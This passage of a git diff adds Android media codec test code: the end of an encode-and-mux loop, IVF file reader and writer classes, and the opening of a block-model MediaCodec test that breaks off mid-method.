+                    Log.d(TAG, "video encoder: returned buffer of size "
+                            + videoEncoderOutputBufferInfo.size);
+                }
+                ByteBuffer encoderOutputBuffer =
+                        videoEncoderOutputBuffers[encoderOutputBufferIndex];
+                if ((videoEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "video encoder: codec config buffer");
+                    // Simply ignore codec config buffers.
+                    videoEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "video encoder: returned buffer for time "
+                            + videoEncoderOutputBufferInfo.presentationTimeUs);
+                }
+                if (videoEncoderOutputBufferInfo.size != 0) {
+                    muxer.writeSampleData(
+                            outputVideoTrack, encoderOutputBuffer, videoEncoderOutputBufferInfo);
+                    videoEncodedFrameCount++;
+                }
+                if ((videoEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "video encoder: EOS");
+                    videoEncoderDone = true;
+                }
+                videoEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
+                // We enqueued an encoded frame, let's try something else next.
+                break;
+            }
+
+            // Poll frames from the audio encoder and send them to the muxer.
+            while (mCopyAudio && !audioEncoderDone
+                    && (encoderOutputAudioFormat == null || muxing)) {
+                int encoderOutputBufferIndex = audioEncoder.dequeueOutputBuffer(
+                        audioEncoderOutputBufferInfo, TIMEOUT_USEC);
+                if (encoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no audio encoder output buffer");
+                    break;
+                }
+                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "audio encoder: output buffers changed");
+                    audioEncoderOutputBuffers = audioEncoder.getOutputBuffers();
+                    break;
+                }
+                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "audio encoder: output format changed");
+                    if (outputAudioTrack >= 0) {
+                        fail("audio encoder changed its output format again?");
+                    }
+
+                    encoderOutputAudioFormat = audioEncoder.getOutputFormat();
+                    break;
+                }
+                assertTrue("should have added track before processing output", muxing);
+                if (VERBOSE) {
+                    Log.d(TAG, "audio encoder: returned output buffer: "
+                            + encoderOutputBufferIndex);
+                    Log.d(TAG, "audio encoder: returned buffer of size "
+                            + audioEncoderOutputBufferInfo.size);
+                }
+                ByteBuffer encoderOutputBuffer =
+                        audioEncoderOutputBuffers[encoderOutputBufferIndex];
+                if ((audioEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "audio encoder: codec config buffer");
+                    // Simply ignore codec config buffers.
+                    audioEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio encoder: returned buffer for time "
+                            + audioEncoderOutputBufferInfo.presentationTimeUs);
+                }
+                if (audioEncoderOutputBufferInfo.size != 0) {
+                    muxer.writeSampleData(
+                            outputAudioTrack, encoderOutputBuffer, audioEncoderOutputBufferInfo);
+                }
+                if ((audioEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "audio encoder: EOS");
+                    audioEncoderDone = true;
+                }
+                audioEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
+                audioEncodedFrameCount++;
+                // We enqueued an encoded frame, let's try something else next.
+                break;
+            }
+
+            if (!muxing
+                    && (!mCopyAudio || encoderOutputAudioFormat != null)
+                    && (!mCopyVideo || encoderOutputVideoFormat != null)) {
+                if (mCopyVideo) {
+                    Log.d(TAG, "muxer: adding video track.");
+                    outputVideoTrack = muxer.addTrack(encoderOutputVideoFormat);
+                }
+                if (mCopyAudio) {
+                    Log.d(TAG, "muxer: adding audio track.");
+                    outputAudioTrack = muxer.addTrack(encoderOutputAudioFormat);
+                }
+                Log.d(TAG, "muxer: starting");
+                muxer.start();
+                muxing = true;
+            }
+        }
+
+        // Basic validation checks.
+        if (mCopyVideo) {
+            assertEquals("encoded and decoded video frame counts should match",
+                    videoDecodedFrameCount, videoEncodedFrameCount);
+            assertTrue("decoded frame count should be less than extracted frame count",
+                    videoDecodedFrameCount <= videoExtractedFrameCount);
+        }
+        if (mCopyAudio) {
+            assertEquals("no frame should be pending", -1, pendingAudioDecoderOutputBufferIndex);
+        }
+    }
+
+    private static boolean isVideoFormat(MediaFormat format) {
+        return getMimeTypeFor(format).startsWith("video/");
+    }
+
+    private static boolean isAudioFormat(MediaFormat format) {
+        return getMimeTypeFor(format).startsWith("audio/");
+    }
+
+    private static String getMimeTypeFor(MediaFormat format) {
+        return format.getString(MediaFormat.KEY_MIME);
+    }
+
+    /**
+     * Returns the first codec capable of encoding the specified MIME type, or null if no match was
+     * found.
+     */
+    private static MediaCodecInfo selectCodec(String mimeType) {
+        int numCodecs = MediaCodecList.getCodecCount();
+        for (int i = 0; i < numCodecs; i++) {
+            MediaCodecInfo codecInfo = MediaCodecList.getCodecInfoAt(i);
+
+            if (codecInfo.isAlias()) {
+                continue;
+            }
+            if (!codecInfo.isEncoder()) {
+                continue;
+            }
+
+            String[] types = codecInfo.getSupportedTypes();
+            for (int j = 0; j < types.length; j++) {
+                if (types[j].equalsIgnoreCase(mimeType)) {
+                    return codecInfo;
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/IvfReader.java b/tests/tests/media/codec/src/android/media/codec/cts/IvfReader.java
new file mode 100644
index 0000000..35d3220
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/IvfReader.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+/**
+ * A simple reader for an IVF file.
+ *
+ * IVF format is a simple container format for VP8 encoded frames defined at
+ * http://wiki.multimedia.cx/index.php?title=IVF.
+ * This reader is capable of getting frame count, width and height
+ * from the header, and access individual frames randomly by
+ * frame number.
+ */
+
+public class IvfReader {
+    private static final byte HEADER_SIZE = 32;
+    private static final byte FOURCC_OFFSET = 8;
+    private static final byte WIDTH_OFFSET = 12;
+    private static final byte HEIGHT_OFFSET = 14;
+    private static final byte FRAMECOUNT_OFFSET = 24;
+    private static final byte FRAME_HEADER_SIZE = 12;
+
+    private RandomAccessFile mIvfFile;
+    private boolean mHeaderValid;
+    private int mWidth;
+    private int mHeight;
+    private int mFrameCount;
+    private int[] mFrameHeads;  // Head of frame header
+    private int[] mFrameSizes;  // Frame size excluding header
+
+
+    /**
+     * Initializes the IVF file reader.
+     *
+     * Only minimal verification is done to check if this
+     * is indeed a valid IVF file. (fourcc, signature)
+     *
+     * All frame headers are read in advance.
+     *
+     * @param filename   name of the IVF file
+     */
+    public IvfReader(String filename) throws IOException{
+        mIvfFile = new RandomAccessFile(filename, "r");
+
+        mHeaderValid = verifyHeader();
+        readHeaderData();
+        readFrameMetadata();
+    }
+
+    /**
+     * Tells if file header seems to be valid.
+     *
+     * Only minimal verification is done to check if this
+     * is indeed a valid IVF file. (fourcc, signature)
+     */
+    public boolean isHeaderValid(){
+        return mHeaderValid;
+    }
+
+    /**
+     * Returns frame width according to header information.
+     */
+    public int getWidth(){
+        return mWidth;
+    }
+
+    /**
+     * Returns frame height according to header information.
+     */
+    public int getHeight(){
+        return mHeight;
+    }
+
+    /**
+     * Returns frame count according to header information.
+     */
+    public int getFrameCount(){
+        return mFrameCount;
+    }
+
+    /**
+     * Returns frame data by index.
+     *
+     * @param frameIndex index of the frame to read, greater-equal
+     * than 0 and less than frameCount.
+     */
+    public byte[] readFrame(int frameIndex) throws IOException {
+        if (frameIndex > mFrameCount || frameIndex < 0){
+            return null;
+        }
+        int frameSize = mFrameSizes[frameIndex];
+        int frameHead = mFrameHeads[frameIndex];
+
+        byte[] frame = new byte[frameSize];
+        mIvfFile.seek(frameHead + FRAME_HEADER_SIZE);
+        mIvfFile.read(frame);
+
+        return frame;
+    }
+
+    /**
+     * Closes IVF file.
+     */
+    public void close() throws IOException{
+        mIvfFile.close();
+    }
+
+    private boolean verifyHeader() throws IOException{
+        mIvfFile.seek(0);
+
+        if (mIvfFile.length() < HEADER_SIZE){
+            return false;
+        }
+
+        // DKIF signature
+        boolean signatureMatch = ((mIvfFile.readByte() == (byte)'D') &&
+                (mIvfFile.readByte() == (byte)'K') &&
+                (mIvfFile.readByte() == (byte)'I') &&
+                (mIvfFile.readByte() == (byte)'F'));
+
+        // Fourcc
+        mIvfFile.seek(FOURCC_OFFSET);
+        boolean fourccMatch = ((mIvfFile.readByte() == (byte)'V') &&
+                (mIvfFile.readByte() == (byte)'P') &&
+                (mIvfFile.readByte() == (byte)'8') &&
+                (mIvfFile.readByte() == (byte)'0'));
+
+        return signatureMatch && fourccMatch;
+    }
+
+    private void readHeaderData() throws IOException{
+        // width
+        mIvfFile.seek(WIDTH_OFFSET);
+        mWidth = (int) changeEndianness(mIvfFile.readShort());
+
+        // height
+        mIvfFile.seek(HEIGHT_OFFSET);
+        mHeight = (int) changeEndianness(mIvfFile.readShort());
+
+        // frame count
+        mIvfFile.seek(FRAMECOUNT_OFFSET);
+        mFrameCount = changeEndianness(mIvfFile.readInt());
+
+        // allocate frame metadata
+        mFrameHeads = new int[mFrameCount];
+        mFrameSizes = new int[mFrameCount];
+    }
+
+    private void readFrameMetadata() throws IOException{
+        int frameHead = HEADER_SIZE;
+        for(int i = 0; i < mFrameCount; i++){
+            mIvfFile.seek(frameHead);
+            int frameSize = changeEndianness(mIvfFile.readInt());
+            mFrameHeads[i] = frameHead;
+            mFrameSizes[i] = frameSize;
+            // next frame
+            frameHead += FRAME_HEADER_SIZE + frameSize;
+        }
+    }
+
+    private static short changeEndianness(short value){
+        // Rationale for down-cast;
+        // Java Language specification 15.19:
+        //  "The type of the shift expression is the promoted type of the left-hand operand."
+        // Java Language specification 5.6:
+        //  "...if the operand is of compile-time type byte, short, or char,
+        //  unary numeric promotion promotes it to a value of type int by a widening conversion."
+        return (short) (((value << 8) & 0XFF00) | ((value >> 8) & 0X00FF));
+    }
+
+    private static int changeEndianness(int value){
+        return (((value << 24) & 0XFF000000) |
+                ((value << 8)  & 0X00FF0000) |
+                ((value >> 8)  & 0X0000FF00) |
+                ((value >> 24) & 0X000000FF));
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/IvfWriter.java b/tests/tests/media/codec/src/android/media/codec/cts/IvfWriter.java
new file mode 100644
index 0000000..a41143b
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/IvfWriter.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaFormat;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+/**
+ * Writes an IVF file.
+ *
+ * IVF format is a simple container format for VP8 encoded frames defined at
+ * http://wiki.multimedia.cx/index.php?title=IVF.
+ */
+
+public class IvfWriter {
+    private static final String TAG = "IvfWriter";
+    private static final byte HEADER_END = 32;
+    private RandomAccessFile mOutputFile;
+    private int mWidth;
+    private int mHeight;
+    private int mScale;
+    private int mRate;
+    private int mFrameCount;
+    private String mMimeType;
+
+    /**
+     * Initializes the IVF file writer.
+     *
+     * Timebase fraction is in format scale/rate, e.g. 1/1000
+     * Timestamp values supplied while writing frames should be in accordance
+     * with this timebase value.
+     *
+     * @param filename   name of the IVF file
+     * @param mimeType   mime type of the codec
+     * @param width      frame width
+     * @param height     frame height
+     * @param scale      timebase scale (or numerator of the timebase fraction)
+     * @param rate       timebase rate (or denominator of the timebase fraction)
+     */
+    public IvfWriter(
+            String filename, String mimeType, int width, int height, int scale,
+            int rate) throws IOException {
+        mOutputFile = new RandomAccessFile(filename, "rw");
+        mMimeType = mimeType;
+        mWidth = width;
+        mHeight = height;
+        mScale = scale;
+        mRate = rate;
+        mFrameCount = 0;
+        mOutputFile.setLength(0);
+        mOutputFile.seek(HEADER_END);  // Skip the header for now, as framecount is unknown
+    }
+
+    /**
+     * Initializes the IVF file writer with a microsecond timebase.
+     *
+     * Microsecond timebase is default for OMX thus stagefright.
+     *
+     * @param filename   name of the IVF file
+     * @param mimeType   mime type of the codec
+     * @param width      frame width
+     * @param height     frame height
+     */
+    public IvfWriter(String filename, String mimeType, int width, int height) throws IOException {
+        this(filename, mimeType, width, height, 1, 1000000);
+    }
+
+    /**
+     * Finalizes the IVF header and closes the file.
+     */
+    public void close() throws IOException{
+        // Write header now
+        mOutputFile.seek(0);
+        mOutputFile.write(makeIvfHeader(mFrameCount, mWidth, mHeight, mScale, mRate, mMimeType));
+        mOutputFile.close();
+    }
+
+    /**
+     * Writes a single encoded VP8 frame with its frame header.
+     *
+     * @param frame     actual contents of the encoded frame data
+     * @param timeStamp timestamp of the frame (in accordance to specified timebase)
+     */
+    public void writeFrame(byte[] frame, long timeStamp) throws IOException {
+        mOutputFile.write(makeIvfFrameHeader(frame.length, timeStamp));
+        mOutputFile.write(frame);
+        mFrameCount++;
+    }
+
+    private static byte[] getCodecFourcc(String mimeType) {
+        switch(mimeType) {
+        case MediaFormat.MIMETYPE_VIDEO_AVC:
+            return new byte[] {'H', '2', '6', '4'};
+        case MediaFormat.MIMETYPE_VIDEO_HEVC:
+            return new byte[] {'H', 'E', 'V', 'C'};
+        case MediaFormat.MIMETYPE_VIDEO_VP8:
+            return new byte[] {'V', 'P', '8', '0'};
+        case MediaFormat.MIMETYPE_VIDEO_VP9:
+            return new byte[] {'V', 'P', '9', '0'};
+        case MediaFormat.MIMETYPE_VIDEO_AV1:
+            return new byte[] {'A', 'V', '0', '1'};
+        default:
+            Log.w(TAG, "Unexpected mimeType in getCodecFourcc: " + mimeType);
+            return new byte[] {'0', '0', '0', '0'};
+      }
+    }
+
+    /**
+     * Makes a 32 byte file header for IVF format.
+     *
+     * Timebase fraction is in format scale/rate, e.g. 1/1000
+     *
+     * @param frameCount total number of frames file contains
+     * @param width      frame width
+     * @param height     frame height
+     * @param scale      timebase scale (or numerator of the timebase fraction)
+     * @param rate       timebase rate (or denominator of the timebase fraction)
+     */
+    private static byte[] makeIvfHeader(
+            int frameCount, int width, int height, int scale, int rate, String mimeType) {
+        byte[] ivfHeader = new byte[32];
+        ivfHeader[0] = 'D';
+        ivfHeader[1] = 'K';
+        ivfHeader[2] = 'I';
+        ivfHeader[3] = 'F';
+        lay16Bits(ivfHeader, 4, 0);  // version
+        lay16Bits(ivfHeader, 6, 32);  // header size
+        byte[] codecFourcc = getCodecFourcc(mimeType);
+        ivfHeader[8] = codecFourcc[0];
+        ivfHeader[9] = codecFourcc[1];
+        ivfHeader[10] = codecFourcc[2];
+        ivfHeader[11] = codecFourcc[3];
+        lay16Bits(ivfHeader, 12, width);
+        lay16Bits(ivfHeader, 14, height);
+        lay32Bits(ivfHeader, 16, rate);  // scale/rate
+        lay32Bits(ivfHeader, 20, scale);
+        lay32Bits(ivfHeader, 24, frameCount);
+        lay32Bits(ivfHeader, 28, 0);  // unused
+        return ivfHeader;
+    }
+
+    /**
+     * Makes a 12 byte header for an encoded frame.
+     *
+     * @param size      frame size
+     * @param timestamp presentation timestamp of the frame
+     */
+    private static byte[] makeIvfFrameHeader(int size, long timestamp){
+        byte[] frameHeader = new byte[12];
+        lay32Bits(frameHeader, 0, size);
+        lay64bits(frameHeader, 4, timestamp);
+        return frameHeader;
+    }
+
+
+    /**
+     * Lays least significant 16 bits of an int into 2 items of a byte array.
+     *
+     * Note that ordering is little-endian.
+     *
+     * @param array     the array to be modified
+     * @param index     index of the array to start laying down
+     * @param value     the integer to use least significant 16 bits
+     */
+    private static void lay16Bits(byte[] array, int index, int value){
+        array[index] = (byte) (value);
+        array[index + 1] = (byte) (value >> 8);
+    }
+
+    /**
+     * Lays an int into 4 items of a byte array.
+     *
+     * Note that ordering is little-endian.
+     *
+     * @param array     the array to be modified
+     * @param index     index of the array to start laying down
+     * @param value     the integer to use
+     */
+    private static void lay32Bits(byte[] array, int index, int value){
+        for (int i = 0; i < 4; i++){
+            array[index + i] = (byte) (value >> (i * 8));
+        }
+    }
+
+    /**
+     * Lays a long int into 8 items of a byte array.
+     *
+     * Note that ordering is little-endian.
+     *
+     * @param array     the array to be modified
+     * @param index     index of the array to start laying down
+     * @param value     the integer to use
+     */
+    private static void lay64bits(byte[] array, int index, long value){
+        for (int i = 0; i < 8; i++){
+            array[index + i] = (byte) (value >> (i * 8));
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecBlockModelTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecBlockModelTest.java
new file mode 100644
index 0000000..475bd74
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecBlockModelTest.java
@@ -0,0 +1,446 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.hardware.HardwareBuffer;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecBlockModelHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+
+import androidx.test.filters.SdkSuppress;
+
+/**
+ * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
+ */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+@NonMediaMainlineTest
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaCodecBlockModelTest extends AndroidTestCase {
+    private static final String TAG = "MediaCodecBlockModelTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+
+    // Input buffers from this input video are queued up to and including the video frame with
+    // timestamp LAST_BUFFER_TIMESTAMP_US.
+    private static final String INPUT_RESOURCE =
+            "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+    private static final long LAST_BUFFER_TIMESTAMP_US = 166666;
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    /**
+     * Tests whether decoding a short group-of-pictures succeeds. The test queues a few video frames
+     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
+     */
+    @Presubmit
+    @SmallTest
+    @RequiresDevice
+    public void testDecodeShortVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortVideo(
+            INPUT_RESOURCE,
+            LAST_BUFFER_TIMESTAMP_US,
+            true /* obtainBlockForEachBuffer */));
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortVideo(
+            INPUT_RESOURCE,
+            LAST_BUFFER_TIMESTAMP_US,
+            false /* obtainBlockForEachBuffer */));
+    }
+
+    /**
+     * Tests whether decoding a short audio succeeds. The test queues a few audio frames
+     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
+     */
+    @Presubmit
+    @SmallTest
+    @RequiresDevice
+    public void testDecodeShortAudio() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortAudio(
+                INPUT_RESOURCE,
+                LAST_BUFFER_TIMESTAMP_US,
+                true /* obtainBlockForEachBuffer */));
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortAudio(
+                INPUT_RESOURCE,
+                LAST_BUFFER_TIMESTAMP_US,
+                false /* obtainBlockForEachBuffer */));
+    }
+
+    /**
+     * Tests whether encoding a short audio succeeds. The test queues a few audio frames
+     * then signals end-of-stream. The test fails if the encoder doesn't output the queued frames.
+     */
+    @Presubmit
+    @SmallTest
+    @RequiresDevice
+    public void testEncodeShortAudio() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaCodecBlockModelHelper.runThread(() -> runEncodeShortAudio());
+    }
+
+    /**
+     * Tests whether encoding a short video succeeds. The test queues a few video frames
+     * then signals end-of-stream. The test fails if the encoder doesn't output the queued frames.
+     */
+    @Presubmit
+    @SmallTest
+    @RequiresDevice
+    public void testEncodeShortVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaCodecBlockModelHelper.runThread(() -> runEncodeShortVideo());
+    }
+
+    private MediaCodecBlockModelHelper.Result runDecodeShortAudio(
+            String inputResource,
+            long lastBufferTimestampUs,
+            boolean obtainBlockForEachBuffer) {
+        MediaExtractor mediaExtractor = null;
+        MediaCodec mediaCodec = null;
+        try {
+            mediaExtractor = getMediaExtractorForMimeType(inputResource, "audio/");
+            MediaFormat mediaFormat =
+                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+            // TODO: b/147748978
+            String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
+            if (codecs.length == 0) {
+                Log.i(TAG, "No decoder found for format= " + mediaFormat);
+                return MediaCodecBlockModelHelper.Result.SKIP;
+            }
+            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
+
+            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
+            MediaCodecBlockModelHelper.Result result =
+                MediaCodecBlockModelHelper.runComponentWithLinearInput(
+                    mediaCodec,
+                    null,  // crypto
+                    mediaFormat,
+                    null,  // surface
+                    false,  // encoder
+                    new MediaCodecBlockModelHelper.ExtractorInputSlotListener
+                            .Builder()
+                            .setExtractor(mediaExtractor)
+                            .setLastBufferTimestampUs(lastBufferTimestampUs)
+                            .setObtainBlockForEachBuffer(obtainBlockForEachBuffer)
+                            .setTimestampQueue(timestampList)
+                            .build(),
+                    new MediaCodecBlockModelHelper.DummyOutputSlotListener(
+                            false /* graphic */, timestampList));
+            if (result == MediaCodecBlockModelHelper.Result.SUCCESS) {
+                assertTrue("Timestamp should match between input / output: " + timestampList,
+                        timestampList.isEmpty());
+            }
+            return result;
+        } catch (IOException e) {
+            throw new RuntimeException("error reading input resource", e);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.stop();
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+        }
+    }
+
+    private MediaCodecBlockModelHelper.Result runEncodeShortAudio() {
+        MediaExtractor mediaExtractor = null;
+        MediaCodec mediaCodec = null;
+        try {
+            mediaExtractor = getMediaExtractorForMimeType(
+                    "okgoogle123_good.wav", MediaFormat.MIMETYPE_AUDIO_RAW);
+            MediaFormat mediaFormat = new MediaFormat(
+                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex()));
+            mediaFormat.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_AAC);
+            mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+            // TODO: b/147748978
+            String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
+            if (codecs.length == 0) {
+                Log.i(TAG, "No encoder found for format= " + mediaFormat);
+                return MediaCodecBlockModelHelper.Result.SKIP;
+            }
+            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
+
+            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
+            MediaCodecBlockModelHelper.Result result =
+                MediaCodecBlockModelHelper.runComponentWithLinearInput(
+                    mediaCodec,
+                    null,  // crypto
+                    mediaFormat,
+                    null,  // surface
+                    true,  // encoder
+                    new MediaCodecBlockModelHelper.ExtractorInputSlotListener
+                            .Builder()
+                            .setExtractor(mediaExtractor)
+                            .setLastBufferTimestampUs(LAST_BUFFER_TIMESTAMP_US)
+                            .setTimestampQueue(timestampList)
+                            .build(),
+                    new MediaCodecBlockModelHelper.DummyOutputSlotListener(
+                            false /* graphic */, timestampList));
+            if (result == MediaCodecBlockModelHelper.Result.SUCCESS) {
+                assertTrue("Timestamp should match between input / output: " + timestampList,
+                        timestampList.isEmpty());
+            }
+            return result;
+        } catch (IOException e) {
+            throw new RuntimeException("error reading input resource", e);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.stop();
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+        }
+    }
+
+    private MediaCodecBlockModelHelper.Result runEncodeShortVideo() {
+        final int kWidth = 176;
+        final int kHeight = 144;
+        final int kFrameRate = 15;
+        MediaCodec mediaCodec = null;
+        ArrayList<HardwareBuffer> hardwareBuffers = new ArrayList<>();
+        try {
+            MediaFormat mediaFormat = MediaFormat.createVideoFormat(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, kWidth, kHeight);
+            mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, kFrameRate);
+            mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 1000000);
+            mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
+            mediaFormat.setInteger(
+                    MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            // TODO: b/147748978
+            String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
+            if (codecs.length == 0) {
+                Log.i(TAG, "No encoder found for format= " + mediaFormat);
+                return MediaCodecBlockModelHelper.Result.SKIP;
+            }
+            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
+
+            long usage = HardwareBuffer.USAGE_CPU_READ_OFTEN;
+            usage |= HardwareBuffer.USAGE_CPU_WRITE_OFTEN;
+            if (mediaCodec.getCodecInfo().isHardwareAccelerated()) {
+                usage |= HardwareBuffer.USAGE_VIDEO_ENCODE;
+            }
+            if (!HardwareBuffer.isSupported(
+                        kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1 /* layer */, usage)) {
+                Log.i(TAG, "HardwareBuffer doesn't support " + kWidth + "x" + kHeight
+                        + "; YCBCR_420_888; usage(" + Long.toHexString(usage) + ")");
+                return MediaCodecBlockModelHelper.Result.SKIP;
+            }
+
+            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
+
+            final LinkedBlockingQueue<MediaCodecBlockModelHelper.SlotEvent> queue =
+                new LinkedBlockingQueue<>();
+            mediaCodec.setCallback(new MediaCodec.Callback() {
+                @Override
+                public void onInputBufferAvailable(MediaCodec codec, int index) {
+                    queue.offer(new MediaCodecBlockModelHelper.SlotEvent(true, index));
+                }
+
+                @Override
+                public void onOutputBufferAvailable(
+                        MediaCodec codec, int index, MediaCodec.BufferInfo info) {
+                    queue.offer(new MediaCodecBlockModelHelper.SlotEvent(false, index));
+                }
+
+                @Override
+                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                }
+
+                @Override
+                public void onError(MediaCodec codec, CodecException e) {
+                }
+            });
+
+            int flags = MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL;
